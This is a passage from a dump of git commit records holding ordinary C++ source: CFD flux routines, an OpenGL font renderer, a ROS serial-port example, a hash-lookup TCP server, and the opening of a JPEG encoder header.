vny * pR;\n\n Fm[3] = roR * (etR + pR \/ roR) * VR;\n }\n\n\n for(int a = 0; a < 4; a++)\n tp1[i].Fc[d][a] = Fp[a] + Fm[a];\n }\n\n\n}\n\n\nvoid Fc1new1(int i)\n{\n\n double fenergyp, fenergym, fmassp, fmassm;\n\n double ML,MR;\n\n double VL, VR; \/\/contravariant velocity of right state and left state\n\n double cL, cR; \/\/speed of sound\n\n double roL, uL, vL, pL, etL;\n\n double roR, uR, vR, pR, etR;\n\n double vnx, vny;\n\n double Fp[4], Fm[4];\n\n roL = e[i].ronew;\n uL = e[i].unew;\n vL = e[i].vnew;\n pL = e[i].pnew;\n etL = e[i].etnew;\n\n for(int d = 0; d < 4; d++)\n {\n roR = e[e[i].neigh[d]].ronew;\n uR = e[e[i].neigh[d]].unew;\n vR = e[e[i].neigh[d]].vnew;\n pR = e[e[i].neigh[d]].pnew;\n etR = e[e[i].neigh[d]].etnew;\n\n\n vnx = e[i].vn[d].x;\n vny = e[i].vn[d].y;\n\n\n VL = vnx * uL + vny * vL;\n VR = vnx * uR + vny * vR;\n\n\n cL = sqrt(gama * pL \/ roL);\n cR = sqrt(gama * pR \/ roR);\n\n\n ML = VL \/ cL;\n MR = VR \/ cR;\n\n\n if(ML >= 1.)\n {\n Fp[0] = roL * VL;\n\n Fp[1] = roL * uL * VL + vnx * pL;\n\n Fp[2] = roL * vL * VL + vny * pL;\n\n Fp[3] = roL * (etL + pL \/ roL) * VL;\n\n }\n\n else if(abs(ML) < 1)\n {\n fmassp = roL * cL * pow((ML + 1), 2) \/ 4.;\n\n fenergyp = fmassp * ((pow(((gama - 1.) * VL + 2. * cL),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uL, 2) + pow(vL, 2) - pow(VL, 2)) \/ 2.);\n\n Fp[0] = fmassp;\n\n Fp[1] = fmassp * (vnx * (-VL + 2. * cL) \/ gama + uL);\n\n Fp[2] = fmassp * (vny * (-VL + 2. * cL) \/ gama + vL);\n\n Fp[3] = fenergyp;\n }\n\n else\n {\n Fp[0] = 0;\n\n Fp[1] = 0;\n\n Fp[2] = 0;\n\n Fp[3] = 0;\n }\n\n\n\n if(MR >= 1.)\n {\n Fm[0] = 0;\n\n Fm[1] = 0;\n\n Fm[2] = 0;\n\n Fm[3] = 0;\n }\n\n else if(abs(MR) < 1)\n {\n fmassm = -roR * cR * pow((MR - 1), 2) \/ 4.;\n\n fenergym = fmassm * ((pow(((gama - 1.) * VR - 2. * cR),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uR, 2) + pow(vR, 2) - pow(VR, 2)) \/ 2.);\n\n Fm[0] = fmassm;\n\n Fm[1] = fmassm * (vnx * (-VR - 2. * cR) \/ gama + uR);\n\n Fm[2] = fmassm * (vny * (-VR - 2. * cR) \/ gama + vR);\n\n Fm[3] = fenergym;\n }\n\n else\n {\n Fm[0] = roR * VR;\n\n Fm[1] = roR * uR * VR + vnx * pR;\n\n Fm[2] = roR * vR * VR + vny * pR;\n\n Fm[3] = roR * (etR + pR \/ roR) * VR;\n }\n\n\n for(int a = 0; a < 4; a++)\n tp1[i].Fc[d][a] = Fp[a] + Fm[a];\n }\n\n\n}\n\n\nvoid Fv1(int i)\n{\n double ro, u, v, p, et, mu;\n\n double vnx, vny;\n\n double gradTx, gradTy, gradux, graduy, gradvx, gradvy, qx, qy;\n\n double taoxx, taoxy, taoyy;\n\n for(int d = 0; d < 4; d++)\n {\n vnx = e[i].vn[d].x;\n vny = e[i].vn[d].y;\n\n ro = (e[i].ro + e[e[i].neigh[d]].ro) \/ 2.;\n u = (e[i].u + e[e[i].neigh[d]].u) \/ 2.;\n v = (e[i].v + e[e[i].neigh[d]].v) \/ 2.;\n p = (e[i].ro + e[e[i].neigh[d]].p) \/ 2.;\n et = (e[i].et + e[e[i].neigh[d]].et) \/ 2.;\n mu = (e[i].mu + e[e[i].neigh[d]].mu) \/ 2.;\n\n\n gradux = (e[e[i].neigh[d]].u - e[i].u) \/ e[i].rm[d] * e[i].r[d].x \/ e[i].rm[d];\n\n graduy = (e[e[i].neigh[d]].u - e[i].u) \/ e[i].rm[d] * e[i].r[d].y \/ e[i].rm[d];\n\n gradvx = (e[e[i].neigh[d]].v - e[i].v) \/ e[i].rm[d] * e[i].r[d].x \/ e[i].rm[d];\n\n gradvy = (e[e[i].neigh[d]].v - e[i].v) \/ e[i].rm[d] * e[i].r[d].y \/ e[i].rm[d];\n\n gradTx = (e[e[i].neigh[d]].T - e[i].T) \/ e[i].rm[d] * e[i].r[d].x \/ e[i].rm[d];\n\n gradTy = (e[e[i].neigh[d]].T - e[i].T) \/ e[i].rm[d] * e[i].r[d].y \/ e[i].rm[d];\n\n\n taoxx = mu \/ Reinf * (4. \/ 3. * gradux - 2. \/ 3. * gradvy);\n\n taoxy = mu \/ Reinf * (graduy + gradvx);\n\n taoyy = mu \/ Reinf * (4. \/ 3. * gradvy - 2. \/ 3. * gradux);\n\n qx = mu \/ (Reinf * Pr * (gama - 1.) * pow(Machinf,2)) * gradTx;\n\n qy = mu \/ (Reinf * Pr * (gama - 1.) * pow(Machinf,2)) * gradTy;\n\n\n tp2[i].Fv[d][0] = 0;\n\n tp2[i].Fv[d][1] = vnx * taoxx + vny * taoxy;\n\n tp2[i].Fv[d][2] = vnx * taoxy + vny * taoyy;\n\n tp2[i].Fv[d][3] = vnx * (u * taoxx + v * taoxy + qx) + vny * (u * taoxy + v * taoyy + qy);\n\n }\n}\n<commit_msg>Delete fluxes.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/*********************************************************\r\n\/\/GLFONT.CPP -- glFont routines\r\n\/\/Copyright (c) 1998 Brad Fish\r\n\/\/See glFont.txt for terms of use\r\n\/\/November 10, 1998\r\n\/\/*********************************************************\r\n\r\n#include <stdio.h>\r\n#include <malloc.h>\r\n#include <string.h>\nextern \"C\" {\r#include <GL\/gl.h>\r#include <GL\/glu.h>\r}\r#include \"glfont.h\"\r\n\r\n\/\/*********************************************************\r\n\/\/Variables\r\n\/\/*********************************************************\r\n\r\n\/\/Current font\r\nGLFONT *glFont;\r\n\r\n\/\/*********************************************************\r\n\/\/Functions\r\n\/\/*********************************************************\r\nint glFontCreate (GLFONT *Font, char *FileName, int Tex)\r\n{\r\n\tFILE *Input;\r\n\tchar *TexBytes;\r\n\tint Num;\r\n\r\n\t\/\/Open font file\r\n\tif ((Input = fopen(FileName, \"rb\")) == NULL)\r\n\t\treturn FALSE;\r\n\r\n\t\/\/Read glFont structure\r\n\tfread(Font, sizeof(GLFONT), 1, Input);\r\n\r\n\t\/\/Save texture number\r\n\tFont->Tex = Tex;\r\n\r\n\t\/\/Get number of characters\r\n\tNum = Font->IntEnd - Font->IntStart + 1;\r\n\t\r\n\t\/\/Allocate memory for characters\r\n\tif ((Font->Char = (GLFONTCHAR *)malloc(\r\n\t\tsizeof(GLFONTCHAR) * Num)) == NULL)\r\n\t\treturn FALSE;\r\n\t\r\n\t\/\/Read glFont characters\r\n\tfread(Font->Char, sizeof(GLFONTCHAR), Num, Input);\r\n\r\n\t\/\/Get texture size\r\n\tNum = Font->TexWidth * Font->TexHeight * 2;\r\n\t\r\n\t\/\/Allocate memory for texture data\r\n\tif ((TexBytes = (char *)malloc(Num)) == NULL)\r\n\t\treturn FALSE;\r\n\t\r\n\t\/\/Read texture data\r\n\tfread(TexBytes, sizeof(char), Num, Input);\r\n\r\n\t\/\/Set texture attributes\r\n\tglBindTexture(GL_TEXTURE_2D, Font->Tex); \r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S,\r\n\t\tGL_CLAMP);\r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T,\r\n\t\tGL_CLAMP);\r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,\r\n\t\tGL_LINEAR); \r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,\r\n\t\tGL_LINEAR);\r\n\tglTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE,\r\n\t\tGL_MODULATE); \r\n\t\r\n\t\/\/Create texture\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, 2, Font->TexWidth,\r\n\t\tFont->TexHeight, 0, GL_LUMINANCE_ALPHA, \r\n\t\tGL_UNSIGNED_BYTE, (void *)TexBytes);\r\n\r\n\t\/\/Clean up\r\n\tfree(TexBytes);\r\n\tfclose(Input);\r\n\r\n\t\/\/Return pointer to new font\r\n\treturn TRUE;\r\n}\r\n\/\/*********************************************************\r\nvoid glFontDestroy (GLFONT *Font)\r\n{\r\n\t\/\/Free character memory\r\n\tfree(Font->Char);\r\n}\r\n\/\/*********************************************************\r\nvoid glFontBegin (GLFONT *Font)\r\n{\r\n\t\/\/Save pointer to font structure\r\n\tif (Font->Char != NULL)\r\n\t\tglFont = Font;\r\n\telse\r\n\t\tglFont = NULL;\r\n\t\r\n\t\/\/Bind to font texture\r\n\tglBindTexture(GL_TEXTURE_2D, Font->Tex);\r\n}\r\n\/\/*********************************************************\r\nvoid glFontEnd (void)\r\n{\r\n\t\/\/Font no longer current\r\n\tglFont = NULL;\r\n}\r\n\/\/*********************************************************\r\nvoid glFontTextOut (char *String, float x, float y, \r\n\tfloat z)\r\n{\r\n\tint Length, i;\r\n\tGLFONTCHAR *Char;\r\n\r\n\t\/\/Return if we don't have a valid glFont \r\n\tif (glFont == NULL)\r\n\t\treturn;\r\n\t\r\n\t\/\/Get length of string\r\n\tLength = strlen(String);\r\n\t\r\n\t\/\/Begin rendering quads\r\n\tglBegin(GL_QUADS);\r\n\t\r\n\t\/\/Loop through characters\r\n\tfor (i = 0; i < Length; i++)\r\n\t{\r\n\t\t\/\/Get pointer to glFont character\r\n\t\tChar = &glFont->Char[(int)String[i] -\r\n\t\t\tglFont->IntStart];\r\n\t\t\r\n\t\t\/\/Specify vertices and texture coordinates\r\n\t\tglTexCoord2f(Char->tx1, Char->ty1);\r\n\t\tglVertex3f(x, y, z);\r\n\t\tglTexCoord2f(Char->tx1, Char->ty2);\r\n\t\tglVertex3f(x, y - Char->dy, z);\r\n\t\tglTexCoord2f(Char->tx2, Char->ty2);\r\n\t\tglVertex3f(x + Char->dx, y - Char->dy, z);\r\n\t\tglTexCoord2f(Char->tx2, Char->ty1);\r\n\t\tglVertex3f(x + Char->dx, y, z);\r\n\t\r\n\t\t\/\/Move to next character\r\n\t\tx += Char->dx;\r\n\t}\r\n\r\n\t\/\/Stop rendering quads\r\n\tglEnd();\r\n}\r\n\r\nint glFontTextSize( GLFONT *Font, char *String, float* width, float* height )\r\n{\r\n\tint Length, i;\r\n\tGLFONTCHAR *Char;\r\n\tfloat x = 0.0f;\r\n\tfloat y = 0.0f;\r\n\r\n\t\/\/Return if we don't have a valid glFont \r\n\tif (Font == NULL)\r\n\t\treturn 0;\r\n\r\n\t\/\/Get length of string\r\n\tLength = strlen(String);\r\n\t\r\n\t\/\/Loop through characters\r\n\tfor (i = 0; i < Length; i++)\r\n\t{\r\n\t\t\/\/Get pointer to glFont character\r\n\t\tChar = &Font->Char[(int)String[i] -\r\n\t\t\tFont->IntStart];\r\n\t\r\n\t\t\/\/Move to next character\r\n\t\tx += Char->dx;\r\n\t\tif(Char->dy > y)y = Char->dy;\r\n\t}\r\n\r\n\t*width = x;\r\n\t*height = y;\r\n\r\n\treturn 1;\r\n}\r\n\r\n\/\/*********************************************************\r\n\r\n\/\/End of file\r\n\r\n\r\n\r\n<commit_msg>I made this compile on Visual Studio again.<commit_after>\/\/*********************************************************\r\n\/\/GLFONT.CPP -- glFont routines\r\n\/\/Copyright (c) 1998 Brad Fish\r\n\/\/See glFont.txt for terms of use\r\n\/\/November 10, 1998\r\n\/\/*********************************************************\r\n#ifdef WIN32\r\n#include <windows.h>\r\n#endif\r\n\r\n#include <stdio.h>\r\n#include <malloc.h>\r\n#include <string.h>\nextern \"C\" {\r\n#include <GL\/gl.h>\r\n#ifdef WIN32\r\n#include <GL\/glu.h>\r\n#else\r\n#include <GL\/glu.h>\r\n#endif\r\n}\r\n#include \"glfont.h\"\r\n\r\n\/\/*********************************************************\r\n\/\/Variables\r\n\/\/*********************************************************\r\n\r\n\/\/Current font\r\nGLFONT *glFont;\r\n\r\n\/\/*********************************************************\r\n\/\/Functions\r\n\/\/*********************************************************\r\nint glFontCreate (GLFONT *Font, char *FileName, int Tex)\r\n{\r\n\tFILE *Input;\r\n\tchar *TexBytes;\r\n\tint Num;\r\n\r\n\t\/\/Open font file\r\n\tif ((Input = fopen(FileName, \"rb\")) == NULL)\r\n\t\treturn FALSE;\r\n\r\n\t\/\/Read glFont structure\r\n\tfread(Font, sizeof(GLFONT), 1, Input);\r\n\r\n\t\/\/Save texture number\r\n\tFont->Tex = Tex;\r\n\r\n\t\/\/Get number of characters\r\n\tNum = Font->IntEnd - Font->IntStart + 1;\r\n\t\r\n\t\/\/Allocate memory for characters\r\n\tif ((Font->Char = (GLFONTCHAR *)malloc(\r\n\t\tsizeof(GLFONTCHAR) * Num)) == NULL)\r\n\t\treturn FALSE;\r\n\t\r\n\t\/\/Read glFont characters\r\n\tfread(Font->Char, sizeof(GLFONTCHAR), Num, Input);\r\n\r\n\t\/\/Get texture size\r\n\tNum = Font->TexWidth * Font->TexHeight * 2;\r\n\t\r\n\t\/\/Allocate memory for texture data\r\n\tif ((TexBytes = (char *)malloc(Num)) == NULL)\r\n\t\treturn FALSE;\r\n\t\r\n\t\/\/Read texture data\r\n\tfread(TexBytes, sizeof(char), Num, Input);\r\n\r\n\t\/\/Set texture attributes\r\n\tglBindTexture(GL_TEXTURE_2D, Font->Tex); \r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S,\r\n\t\tGL_CLAMP);\r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T,\r\n\t\tGL_CLAMP);\r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,\r\n\t\tGL_LINEAR); \r\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,\r\n\t\tGL_LINEAR);\r\n\tglTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE,\r\n\t\tGL_MODULATE); \r\n\t\r\n\t\/\/Create texture\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, 2, Font->TexWidth,\r\n\t\tFont->TexHeight, 0, GL_LUMINANCE_ALPHA, \r\n\t\tGL_UNSIGNED_BYTE, (void *)TexBytes);\r\n\r\n\t\/\/Clean up\r\n\tfree(TexBytes);\r\n\tfclose(Input);\r\n\r\n\t\/\/Return pointer to new font\r\n\treturn TRUE;\r\n}\r\n\/\/*********************************************************\r\nvoid glFontDestroy (GLFONT *Font)\r\n{\r\n\t\/\/Free character memory\r\n\tfree(Font->Char);\r\n}\r\n\/\/*********************************************************\r\nvoid glFontBegin (GLFONT *Font)\r\n{\r\n\t\/\/Save pointer to font structure\r\n\tif (Font->Char != NULL)\r\n\t\tglFont = Font;\r\n\telse\r\n\t\tglFont = NULL;\r\n\t\r\n\t\/\/Bind to font texture\r\n\tglBindTexture(GL_TEXTURE_2D, Font->Tex);\r\n}\r\n\/\/*********************************************************\r\nvoid glFontEnd (void)\r\n{\r\n\t\/\/Font no longer current\r\n\tglFont = NULL;\r\n}\r\n\/\/*********************************************************\r\nvoid glFontTextOut (char *String, float x, float y, \r\n\tfloat z)\r\n{\r\n\tint Length, i;\r\n\tGLFONTCHAR *Char;\r\n\r\n\t\/\/Return if we don't have a valid glFont \r\n\tif (glFont == NULL)\r\n\t\treturn;\r\n\t\r\n\t\/\/Get length of string\r\n\tLength = strlen(String);\r\n\t\r\n\t\/\/Begin rendering quads\r\n\tglBegin(GL_QUADS);\r\n\t\r\n\t\/\/Loop through characters\r\n\tfor (i = 0; i < Length; i++)\r\n\t{\r\n\t\t\/\/Get pointer to glFont character\r\n\t\tChar = &glFont->Char[(int)String[i] -\r\n\t\t\tglFont->IntStart];\r\n\t\t\r\n\t\t\/\/Specify vertices and texture coordinates\r\n\t\tglTexCoord2f(Char->tx1, Char->ty1);\r\n\t\tglVertex3f(x, y, z);\r\n\t\tglTexCoord2f(Char->tx1, Char->ty2);\r\n\t\tglVertex3f(x, y - Char->dy, z);\r\n\t\tglTexCoord2f(Char->tx2, Char->ty2);\r\n\t\tglVertex3f(x + Char->dx, y - Char->dy, z);\r\n\t\tglTexCoord2f(Char->tx2, Char->ty1);\r\n\t\tglVertex3f(x + Char->dx, y, z);\r\n\t\r\n\t\t\/\/Move to next character\r\n\t\tx += Char->dx;\r\n\t}\r\n\r\n\t\/\/Stop rendering quads\r\n\tglEnd();\r\n}\r\n\r\nint glFontTextSize( GLFONT *Font, char *String, float* width, float* height )\r\n{\r\n\tint Length, i;\r\n\tGLFONTCHAR *Char;\r\n\tfloat x = 0.0f;\r\n\tfloat y = 0.0f;\r\n\r\n\t\/\/Return if we don't have a valid glFont \r\n\tif (Font == NULL)\r\n\t\treturn 0;\r\n\r\n\t\/\/Get length of string\r\n\tLength = strlen(String);\r\n\t\r\n\t\/\/Loop through characters\r\n\tfor (i = 0; i < Length; i++)\r\n\t{\r\n\t\t\/\/Get pointer to glFont character\r\n\t\tChar = &Font->Char[(int)String[i] -\r\n\t\t\tFont->IntStart];\r\n\t\r\n\t\t\/\/Move to next character\r\n\t\tx += Char->dx;\r\n\t\tif(Char->dy > y)y = Char->dy;\r\n\t}\r\n\r\n\t*width = x;\r\n\t*height = y;\r\n\r\n\treturn 1;\r\n}\r\n\r\n\/\/*********************************************************\r\n\r\n\/\/End of file\r\n\r\n\r\n\r\n<|endoftext|>"} {"text":"<commit_before>#include <ros\/ros.h>\n#include <serialport\/serialport.h>\n\n\n\n#define REPLY_SIZE 8\n#define TIMEOUT 1000\n\nchar* itoa(int value, char* result, int base);\n\n\/\/ This example opens the serial port and sends a request 'R' at 1Hz and waits for a reply.\nint main(int argc, char** argv)\n{\n ros::init(argc, argv, \"example_node\");\n ros::NodeHandle n;\n\n cereal::CerealPort device;\n char reply[REPLY_SIZE];\n\n \/\/ Change the next line according to your port name and baud rate\n try{ device.open(\"\/dev\/ttyAMA0\", 38400); }\n catch(cereal::Exception& e)\n {\n ROS_FATAL(\"Failed to open the serial port!!!\");\n ROS_BREAK();\n }\n ROS_INFO(\"The serial port is opened.\");\n\n ros::Rate r(1);\n while(ros::ok())\n {\n \/\/ Send 'R' over the serial port\n \/\/const char send[] = \"\\x00\\x25\";\n \/\/or\n const char send[] = {0x00,0x25};\n device.write(send,2);\n \/\/ Get the reply, the last value is the timeout in ms\n try{ device.read(reply, REPLY_SIZE, TIMEOUT); }\n catch(cereal::TimeoutException& e)\n {\n ROS_ERROR(\"Timeout!\");\n }\n ROS_INFO(\"Got this reply: %i,%i,%i,%i,%i,%i,%i,%i\", reply[0], reply[1], reply[2],reply[3], reply[4], reply[5], reply[6], reply[7]);\n unsigned char speed_l;\n speed_l=255;\n const char send1[]={0x00,0x31,speed_l};\n \/\/send[]={0x00,0x31,255};\n device.write(send1,3);\n\n ros::spinOnce();\n r.sleep();\n } \n}\n\nchar* itoa(int value, char* result, int base) {\n \/\/ check that the base if valid\n if (base < 2 || base > 36) { *result = '\\0'; return result; }\n\n char* ptr = result, *ptr1 = result, tmp_char;\n int tmp_value;\n\n do {\n tmp_value = value;\n value \/= base;\n *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\" [35 + (tmp_value - value * base)];\n } while ( value );\n\n \/\/ Apply negative sign\n if (tmp_value < 0) *ptr++ = '-';\n *ptr-- = '\\0';\n while(ptr1 < ptr) {\n tmp_char = *ptr;\n *ptr--= *ptr1;\n *ptr1++ = tmp_char;\n }\n return result;\n}\n<commit_msg>Update code<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2015-2019, Robert J. Hansen <rjh@sixdemonbag.org>\n\nPermission to use, copy, modify, and\/or distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n#include <algorithm>\n#include <boost\/tokenizer.hpp>\n#include <exception>\n#include <iostream>\n#include <sstream>\n#include <vector>\n#include \"main.h\"\n\nusing boost::char_separator;\nusing boost::tokenizer;\nusing boost::asio::ip::tcp;\nusing std::back_inserter;\nusing std::binary_search;\nusing std::exception;\nusing std::getline;\nusing std::pair;\nusing std::string;\nusing std::stringstream;\nusing std::to_string;\nusing std::transform;\nusing std::vector;\n\n\/\/ defined in main.cc\nextern const vector<pair64>& hashes;\n\nnamespace {\nenum class Command {\n Version = 0,\n Bye = 1,\n Status = 2,\n Query = 3,\n Upshift = 4,\n Downshift = 5,\n Unknown = 6\n};\n\nauto tokenize(const string& line) {\n vector<string> rv;\n char_separator<char> sep(\" \");\n tokenizer<char_separator<char>> tokens(line, sep);\n for (const auto& t : tokens) {\n rv.emplace_back(t);\n }\n return rv;\n}\n\nbool is_present_in_hashes(const string& hash) {\n return binary_search(hashes.cbegin(), hashes.cend(), to_pair64(hash));\n}\n\nauto getCommand(const string& cmdstring) {\n string localcmd = \"\";\n transform(cmdstring.cbegin(), cmdstring.cend(), back_inserter(localcmd),\n ::toupper);\n\n auto cmd = Command::Unknown;\n\n if (localcmd == \"VERSION:\")\n cmd = Command::Version;\n else if (localcmd == \"BYE\")\n cmd = Command::Bye;\n else if (localcmd == \"STATUS\")\n cmd = Command::Status;\n else if (localcmd == \"QUERY\")\n cmd = Command::Query;\n else if (localcmd == \"UPSHIFT\")\n cmd = Command::Upshift;\n else if (localcmd == \"DOWNSHIFT\")\n cmd = Command::Downshift;\n\n return cmd;\n}\n} \/\/ namespace\n\nvoid handle_client(tcp::iostream& stream) {\n const string ipaddr = stream.socket().remote_endpoint().address().to_string();\n unsigned long long queries = 0;\n try {\n while (stream) {\n string line;\n getline(stream, line);\n if (line.size() == 0) return;\n\n \/\/ trim leading\/following whitespace\n auto end_ws = line.find_last_not_of(\"\\t\\n\\v\\f\\r \");\n if (end_ws != string::npos) {\n line.erase(end_ws + 1);\n }\n auto front_ws = line.find_first_not_of(\"\\t\\n\\v\\f\\r \");\n if (front_ws > 0) {\n line.erase(0, front_ws);\n }\n\n auto commands = tokenize(line);\n switch (getCommand(commands.at(0))) {\n case Command::Version:\n stream << \"OK\\r\\n\";\n break;\n\n case Command::Bye:\n return;\n\n case Command::Status:\n stream << \"NOT SUPPORTED\\r\\n\";\n break;\n\n case Command::Query: {\n stringstream rv;\n rv << \"OK \";\n for (size_t idx = 1; idx < commands.size(); ++idx)\n rv << (is_present_in_hashes(commands.at(idx)) ? \"1\" : \"0\");\n rv << \"\\r\\n\";\n queries += (commands.size() - 1);\n stream << rv.str();\n break;\n }\n\n case Command::Upshift:\n stream << \"NOT OK\\r\\n\";\n break;\n\n case Command::Downshift:\n stream << \"NOT OK\\r\\n\";\n break;\n\n case Command::Unknown:\n stream << \"NOT OK\\r\\n\";\n return;\n }\n }\n } catch (std::exception& e) {\n log(LogLevel::ALERT, string(\"Error: \") + e.what());\n \/\/ swallow the exception: we'll close the connection\n \/\/ automagically on exit\n \/\/\n \/\/ fall-through here to function returb\n }\n\n stringstream status_msg;\n status_msg << ipaddr << \" closed session after \" << queries << \" queries\";\n log(LogLevel::ALERT, status_msg.str());\n}\n<commit_msg>Typo fix<commit_after>\/*\nCopyright (c) 2015-2019, Robert J. Hansen <rjh@sixdemonbag.org>\n\nPermission to use, copy, modify, and\/or distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n#include <algorithm>\n#include <boost\/tokenizer.hpp>\n#include <exception>\n#include <iostream>\n#include <sstream>\n#include <vector>\n#include \"main.h\"\n\nusing boost::char_separator;\nusing boost::tokenizer;\nusing boost::asio::ip::tcp;\nusing std::back_inserter;\nusing std::binary_search;\nusing std::exception;\nusing std::getline;\nusing std::pair;\nusing std::string;\nusing std::stringstream;\nusing std::to_string;\nusing std::transform;\nusing std::vector;\n\n\/\/ defined in main.cc\nextern const vector<pair64>& hashes;\n\nnamespace {\nenum class Command {\n Version = 0,\n Bye = 1,\n Status = 2,\n Query = 3,\n Upshift = 4,\n Downshift = 5,\n Unknown = 6\n};\n\nauto tokenize(const string& line) {\n vector<string> rv;\n char_separator<char> sep(\" \");\n tokenizer<char_separator<char>> tokens(line, sep);\n for (const auto& t : tokens) {\n rv.emplace_back(t);\n }\n return rv;\n}\n\nbool is_present_in_hashes(const string& hash) {\n return binary_search(hashes.cbegin(), hashes.cend(), to_pair64(hash));\n}\n\nauto getCommand(const string& cmdstring) {\n string localcmd = \"\";\n transform(cmdstring.cbegin(), cmdstring.cend(), back_inserter(localcmd),\n ::toupper);\n\n auto cmd = Command::Unknown;\n\n if (localcmd == \"VERSION:\")\n cmd = Command::Version;\n else if (localcmd == \"BYE\")\n cmd = Command::Bye;\n else if (localcmd == \"STATUS\")\n cmd = Command::Status;\n else if (localcmd == \"QUERY\")\n cmd = Command::Query;\n else if (localcmd == \"UPSHIFT\")\n cmd = Command::Upshift;\n else if (localcmd == \"DOWNSHIFT\")\n cmd = Command::Downshift;\n\n return cmd;\n}\n} \/\/ namespace\n\nvoid handle_client(tcp::iostream& stream) {\n const string ipaddr = stream.socket().remote_endpoint().address().to_string();\n unsigned long long queries = 0;\n try {\n while (stream) {\n string line;\n getline(stream, line);\n if (line.size() == 0) return;\n\n \/\/ trim leading\/following whitespace\n auto end_ws = line.find_last_not_of(\"\\t\\n\\v\\f\\r \");\n if (end_ws != string::npos) {\n line.erase(end_ws + 1);\n }\n auto front_ws = line.find_first_not_of(\"\\t\\n\\v\\f\\r \");\n if (front_ws > 0) {\n line.erase(0, front_ws);\n }\n\n auto commands = tokenize(line);\n switch (getCommand(commands.at(0))) {\n case Command::Version:\n stream << \"OK\\r\\n\";\n break;\n\n case Command::Bye:\n return;\n\n case Command::Status:\n stream << \"NOT SUPPORTED\\r\\n\";\n break;\n\n case Command::Query: {\n stringstream rv;\n rv << \"OK \";\n for (size_t idx = 1; idx < commands.size(); ++idx)\n rv << (is_present_in_hashes(commands.at(idx)) ? \"1\" : \"0\");\n rv << \"\\r\\n\";\n queries += (commands.size() - 1);\n stream << rv.str();\n break;\n }\n\n case Command::Upshift:\n stream << \"NOT OK\\r\\n\";\n break;\n\n case Command::Downshift:\n stream << \"NOT OK\\r\\n\";\n break;\n\n case Command::Unknown:\n stream << \"NOT OK\\r\\n\";\n return;\n }\n }\n } catch (std::exception& e) {\n log(LogLevel::ALERT, string(\"Error: \") + e.what());\n \/\/ swallow the exception: we'll close the connection\n \/\/ automagically on exit\n \/\/\n \/\/ fall-through here to function return\n }\n\n stringstream status_msg;\n status_msg << ipaddr << \" closed session after \" << queries << \" queries\";\n log(LogLevel::ALERT, status_msg.str());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2018 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ header and chunks writing\n\/\/\n\/\/ Author: Skal (pascal.massimino@gmail.com)\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\n#include \"sjpegi.h\"\n\nusing namespace sjpeg;\n\nnamespace sjpeg {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\n\/\/ NOTE(skal): all chunks start with a startcode '0xff??' (0xffd8 e.g),\n\/\/ followed by the size of the payload *not counting the startcode*!\n\/\/ That's why you often find these 'Reserve(data_size + 2)' below, the 